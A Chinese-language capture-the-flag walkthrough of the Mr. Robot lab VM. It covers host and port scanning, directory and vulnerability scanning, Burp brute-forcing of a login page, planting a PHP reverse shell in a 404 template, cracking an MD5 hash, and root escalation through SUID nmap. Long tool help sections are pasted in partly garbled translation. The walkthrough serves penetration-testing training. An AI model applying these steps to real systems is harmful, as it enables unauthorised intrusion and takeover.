MrRoot渗透测试
渗透测试实验
MrRobot 主机,一切都是未知,只知道是一台服务器
准备工作: 修改虚拟机网络为 NAT 模式,与 kali 在同一局域网络中
涉及的工具
netdiscover,nmap,dirb,nikto,nc
详细步骤
第 1 步: 使用工具扫描主机的 IP 以及开放的端口
netdiscover
或者使用
netdiscover -i eth0 -r 192.168.131.0/24 -i device:您的网络设备
-r range:
扫描给定范围而不是自动扫描。192.168.6.0/24,/16,/8
Netdiscover 0.5.1 [主动/被动 ARP 侦察工具] 撰稿:Jaime Penalba <jpenalbae@gmail.com>
用法:netdiscover [-i device] [-r range | -l 文件| -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
-i device:您的网络设备
-r range:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8
-l file:扫描包含在给定文件中的范围列表
-p 被动模式:不发送任何东西,只有嗅探
-m file:扫描已知 MAC 和主机名列表
-F filter:自定义 pcap 过滤器表达式(默认值:“arp”)
-s time:每个 ARP 请求之间的休眠时间(毫秒)
-c count:发送每个 ARP 请求的次数(对于丢包的网络)
-n node:用于扫描的最后一个源 IP 八位字节(从 2 到 253)
-d 忽略自动扫描和快速模式的主配置文件
-f 启用快速模式扫描,节省大量时间,建议用于自动
-P 打印的格式适合另一个程序解析,并在主动扫描后停止
-L 类似于-P,但在主动扫描完成后继续侦听
-N 不打印标题。仅在启用-P 或-L 时有效。
-S 在每个请求之间启用睡眠时间抑制(硬核模式)
arp-scan -l
nmap -sV -O 192.168.131.190
-sV:
探测开放端口以确定服务/版本信息
-O:启用 OS 检测
Nmap 7.70(https://nmap.org) 用法:nmap [扫描类型] [选项] {目标规范}
目标规格: 可以传递主机名,IP 地址,网络等。
例如:scanme.nmap.org,microsoft.com / 24,192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>:从主机/网络列表输入
-iR <num hosts>:选择随机目标
--exclude <host1 [,host2] [,host3],...>:排除主机/网络
--excludefile <exclude_file>:从文件中排除列表 主机发现:
-sL:列表扫描 - 只列出要扫描的目标
-sn:Ping 扫描 - 禁用端口扫描
-Pn:将所有主机视为在线 - 跳过主机发现
-PS / PA / PU / PY [端口列表]:给定端口的 TCP SYN / ACK,UDP 或 SCTP 发现
-PE / PP / PM:ICMP 回送,时间戳和网络掩码请求发现探测
-PO [协议列表]:IP 协议 Ping -n /
-R:从不进行 DNS 解析/始终解析[默认:有时]
--dns-servers <serv1 [,serv2],...>:指定自定义 DNS 服务器
--system-dns:使用 OS 的 DNS 解析器
--traceroute:每个主机的跟踪跳转路径 扫描技术:
-sS / sT / sA / sW / sM:TCP SYN / Connect()/ ACK / Window / Maimon 扫描
-sU:UDP 扫描
-sN / sF / sX:TCP Null,FIN 和 Xmas 扫描
--scanflags <flags>:自定义 TCP 扫描标志
-sI <zombie host [:probeport]>:空闲扫描
-sY / sZ:SCTP INIT / COOKIE-ECHO 扫描
-sO:IP 协议扫描
-b <FTP 中继主机>:FTP 反弹扫描 港口规格和扫描令:
-p <端口范围>:仅扫描指定的端口 例如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <端口范围>:从扫描中排除指定的端口
-F:快速模式 - 扫描比默认扫描更少的端口
-r:连续扫描端口 - 不要随机化
--top-ports <number>:扫描<number>最常见的端口
--port-ratio <ratio>:扫描端口比<ratio>更常见 服务/版本检测:
-sV:探测开放端口以确定服务/版本信息
--version-intensity <level>:从 0(亮)到 9(尝试所有探针)设置
--version-light:限制最可能的探针(强度 2)
--version-all:尝试每一个探针(强度 9) -
-version-trace:显示详细的版本扫描活动(用于调试) 脚本扫描:
-sC:相当于--script = default
--script = <Lua scripts>:<Lua scripts>是逗号分隔的列表 目录,脚本文件或脚本类别
--script-args = <n1 = v1,[n2 = v2,...]>:为脚本提供参数
--script-args-file = filename:在文件中提供 NSE 脚本 args
--script-trace:显示发送和接收的所有数据
--script-updatedb:更新脚本数据库。
--script-help = <Lua scripts>:显示有关脚本的帮助。 <Lua scripts>是以逗号分隔的脚本文件列表或 脚本的类别。 操作系统检测:
-O:启用 OS 检测
--osscan-limit:将 OS 检测限制为有希望的目标
--osscan-guess:更积极地猜测操作系统 时间和性能: 采用<time>的选项以秒为单位,或追加'ms'(毫秒), 该值的's'(秒),'m'(分钟)或'h'(小时)(例如 30m)。
-T <0-5>:设置时序模板(越高越快)
--min-hostgroup / max-hostgroup <size>:并行主机扫描组大小
--min-parallelism / max-parallelism <numprobes>:探测并行化
--min-rtt-timeout / max-rtt-timeout / initial-rtt-timeout <time>:指定 探测往返时间。
--max-retries <tries>:端口扫描探测重传的上限数量。
--host-timeout <time>:在此之后放弃目标
--scan-delay / - max-scan-delay <time>:调整探针之间的延迟
--min-rate <number>:发送数据包的速度不低于每秒<number>
--max-rate <number>:发送数据包的速度不超过<number>每秒 防火墙/ IDS 逃脱和防御:
-F; --mtu <val>:分段数据包(可选择 w /给定 MTU)
-D <decoy1,decoy2 [,ME],...>:用诱饵披露扫描
-S <IP_Address>:欺骗源地址
-e <iface>:使用指定的接口
-g / - source-port <portnum>:使用给定的端口号
--proxies <url1,[url2],...>:通过 HTTP / SOCKS4 代理的中继连接
--data <hex string>:为发送的数据包附加自定义有效负载
--data-string <string>:为发送的数据包附加自定义 ASCII 字符串
--data-length <num>:将随机数据附加到已发送的数据包
--ip-options <options>:发送带有指定 ip 选项的数据包
--ttl <val>:设置 IP 生存时间字段
--spoof-mac <mac address / prefix / vendor name>:欺骗你的 MAC 地址
--badsum:使用伪 TCP / UDP / SCTP 校验和发送数据包
OUTPUT:
-oN / -oX / -oS / -oG <file>:正常输出扫描,XML,s | <rIpt kIddi3, 和 Grepable 格式,分别为给定的文件名。
-oA <basename>:一次输出三种主要格式
-v:增加详细级别(使用-vv 或更高级别以获得更好的效果)
-d:提高调试级别(使用-dd 或更多以获得更好的效果)
--reason:显示端口处于特定状态的原因
--open:仅显示打开(或可能打开)的端口
--packet-trace:显示发送和接收的所有数据包
--iflist:打印主机接口和路由(用于调试)
--appe
第 2 步:使用工具扫描网站的目录
dirb http://192.168.131.190/
----------------- DIRB v2.22 由黑暗掠夺者 -----------------
dirb <url_base> [<wordlist_file(s)>] [options]
=========================注意======================== =
<url_base>:要扫描的基本网址。 (使用-resume 恢复会话)
<wordlist_file(s)>:wordfiles 列表。 (wordfile1,wordfile2,wordfile3 ...) ======================== HOTKEYS ========================
'n' - >转到下一个目录。
'q' - >停止扫描。 (保存状态为简历)
'r' - >剩余的扫描统计数据。
========================选项========================
-a <agent_string>:指定自定义 USER_AGENT。
-b:按原样使用路径。
-c <cookie_string>:为 HTTP 请求设置 cookie。
-E <certificate>:客户端证书的路径。
-f:NOT_FOUND(404)检测的精细调整。
-H <header_string>:向 HTTP 请求添加自定义标头。
-i:使用不区分大小写的搜索。
-l:找到时打印“位置”标题。
-N <nf_code>:忽略此 HTTP 代码的响应。
-o <output_file>:将输出保存到磁盘。
-p <proxy [:port]>:使用此代理。 (默认端口为 1080)
-P <proxy_username:proxy_password>:代理验证。
-r:不要递归搜索。
-R:交互式递归。 (询问每个目录)
-S:静音模式。不要显示经过测试的单词。 (对于哑终端)
-t:不要在 URL 上强制使用结尾'/'。
-u <用户名:密码>:HTTP 身份验证。
-v:还显示 NOT_FOUND 页面。
-w:不要停止 WARNING 消息。
-X <extensions> /
-x <exts_file>:使用此扩展名附加每个单词。
-z <millisecs>:添加毫秒延迟以不会导致过多洪水。
========================示例=======================
dirb http:// url / directory /(简单测试)
dirb http:// url / -X .html(带'.html'扩展名的测试文件)
dirb http:// url / /usr/share/dirb/wordlists/vulns/apache.txt(使用 apache.txt wordlist 测试)
dirb https:// secure_url /(使用 SSL 进行简单测试)
第 3 步:从扫描到的文件入手做信息收集
curl
可以发现一个字典文件和一个 hash 值 fsocity.dic
Hash 值尝试爆破
第 4 步:对网站进行漏洞扫描
nikto -host 192.168.131.190
选项主机需要参数
-config +使用此配置文件
- 显示+打开/关闭显示输出
-dbcheck 检查数据库和其他密钥文件是否存在语法错误
-Format +保存文件(-o)格式
- 帮助扩展帮助信息
-host +目标主机/ URL -id +要使用的主机身份验证,格式为 id:pass 或 id:pass:realm
-list-plugins 列出所有可用的插件
-output +将输出写入此文件
-nossl 禁用 SSL
-no404 禁用 404 检查
-Plugins +要运行的插件列表(默认值:ALL)
-port +使用端口(默认为 80)
-root +为所有请求预置根值,格式为/ directory
-ssl 在端口上强制 ssl 模式 - 调整+扫描调整
-timeout +请求超时(默认为 10 秒)
-update 从 CIRT.net 更新数据库和插件
-Version Print 插件和数据库版本
-vhost +虚拟主机(用于主机头) +需要一个值
参数变了,-h 变为-host
第 5 步: 网站有一个登录页,使用 burp 加载字典暴力破解
先尝试手工破解,输入一些简单用户名和密码,看显示内容
可以发现是当用户名不对时会显示用户名不对,所以可以尝试暴力破解,字典用刚才网站上 获取到的。
使用 BurpSuite 抓包,转发攻击模块,选择加载字典文件,发起攻击
可以发现用户名找到了 Elliot
有了用户名再继续破解密码
ER28-0652 ER28-0652
以上命令可以看出 正确密码是 858151 行,有点大,所以可以手动修改一下密码位置
第 6 步: 登录网站,寻找网站的漏洞
有一个模板可以自定义
第 7 步:利用漏洞获得 webshell 权限
网站有一个 404 模板页,当访问无效网页时会直接访问这个页面,而这个页面可以修改 我们可以将其替换成一个网页木马
从 kali 中的这个目录找到 php-reverse-shell.php
将其中的内容复制出来,放入到 404 模板页中,修改里面的 IP,点击 update file
然后在 kali 中监听一个对应的端口,等待触发反弹 shell 访问一个不存在的网页,
http://192.168.131.190/403321321321
反弹 shell
再执行
python -c ‘import pty; pty.spawn(“/bin/bash”)’
获取一个稳定的 shell
第 8 步:使用 shell 登录主机,获取系统密码信息
查看密码文件,
发现没法利用,先放一放。再看看其他目录,找到一个密码的 md5 散列.
c3fcd3d76192e4007dfb496cca67e13b
用户名:robot 密码:abcdefghijklmnopqrstuvwxyz
第 9 步:提权
查找可以利用的 SUID 权限程序,可以找到 nmap, 所以用 nmap 执行 root 权限
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
使用 nmap --interactive 命令进入 nmap, 然后使用!sh 可以产生一个 root 权限的新 shell
使用!bash -p 也可以产生一个 root 的 shell,到此提权成功
第 10 步:找到第三个 KEY
查看 root 目录下的文件,可以找到
小结
- 发现主机
netdiscover ,arp-scan, nmap
- 服务、系统版本、端口等信息
nmap,masscan
- 目录扫描、敏感文件获取 dirb,或者手工查看
robots.txt
X.扩展 还可以使用在线网站 https://www.exploit-db.com/和命令searchsploit
查找漏洞 - 网站源码、查看各种文件、尝试登陆 对网站进行全面分析
- 暴力破解 使用发现的字典用
burp 进行暴力破解
- 进入后台,进一步信息收集 文件上传、模板修改、插件
- 写入 shell 反弹 ,监听、连接 nc 监听 访问网页后门连接 nc
- 发现一些文件无法文件,进一步收集信息 使用
Python 切换 shell 发现一个 md5
,使用在线网站破解 切换到robot 的 shell
- 提权 查找 suid 程序:
find / -perm -u=s -type f 2>/dev/null
判定 suid 程序是否能创建命令行,查询网站:[https://gtfobins.github.io/](https://gtfobins.github.io/)
如果能就能创建 root 的命令行,提权成功